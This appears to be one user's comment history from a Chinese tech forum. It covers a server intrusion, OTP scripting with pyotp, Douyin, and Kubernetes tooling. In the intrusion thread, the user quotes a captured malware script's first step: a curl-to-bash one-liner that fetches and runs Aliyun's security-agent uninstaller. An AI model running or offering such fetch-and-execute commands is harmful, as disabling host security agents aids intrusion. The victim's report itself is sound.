@046569 日志服务器的点子不错。后续有意搭建一个。thx 。

@sssbbb 怀疑是 jumperserver key 泄露了。但无证据。。。

@chiuan 中招的里边有阿里云和腾讯云服务器。估计我们用的不规范吧。还在找原因。

@0x73346b757234 感谢大佬。～～ 很有帮助。
这个 ip 简直一样，请问大佬怎么获取到这个 ip 的。 😭。

谢谢各位。redis 漏洞、scrapyd 漏洞、yarn 漏洞目前已知都可能被利用。开源框架果真有利有弊。。。
我再排查一下服务器日志。
另外这个 spr.sh 已经被我捕获到一份。感觉是针对阿里云的。获得权限进去后，先尝试用 curl http://update.aegis.aliyun.com/download/uninstall.sh | bash 卸载阿里云相关的东西。

@melsp 也是最近吗？ 搞定了吗。勒索就严重了。我们现在庆幸不是勒索。运维在疯狂加班。

好几本买了好几年了，停留在第一章。😭

优衣库 注意袜子长短...

天津其实不错的 双城比较方便 秦皇岛跨城太乏力了

看了楼上各位的恢复。听说清洗很麻烦，能做的烤箱还都能干。实力劝退了。。

@JavasBoy 老哥，Genius ！

补充下。使用 otpauth 协议链接获取动态码。

totp = pyotp.parse_uri("otpauth://totp/XXX")
print("PASSWD " + totp.now())

北京发来贺电。希望这样的事情越来越多。保护原创，尊重创新！

@skiy 别让运维知道...

@janxin 哈哈哈 单纯被那位大佬的工程能力打动 命令行工具有推荐否


@xmi bitwarden 我关注一波 thx

thx 其他几位大佬

检索时还发现有一个有意思的方案 share 给大家
有其他大佬定制了一个「谷歌验证器」 mac 版..
可以通过脚本获取最新的 code...

https://github.com/stanzhai/GoldenPassport

@lix7
@killva4624
牛逼 大佬 丝滑般的感觉

Ruby 工程师难招是个很大的弊端。为工程的维护和迭代制造了很大的困难，排期允许是应该统一一下。
但这个框架或语言本身其实是很能打的。接近 50K 的 start，github 可能不超过 100 个吧。

楼主的点子不错，其实 B 站的电视 APP 目前就是这样，遥控器按（滑）一下就可以切视频。
B 站是中长视频多，效果相比抖音还是差了不少，但易用性确实提高了。

此外歪个楼，我觉得抖音这玩意长时间刷很危险。
如果觉得自己脑子足够聪明，同时能控制住玩抖音的时间，可以玩。
否则你思考下，大量低质量的视频内容，非常易消化，长期重复喂给大脑，对大脑的影响感觉会很危险。

目前的方案推荐排序：

rancher 10
kubeadm 10
Ansible 6
sealos 5
playbook 5
kubeasz 4
OpenStack 3
Kubesprary 3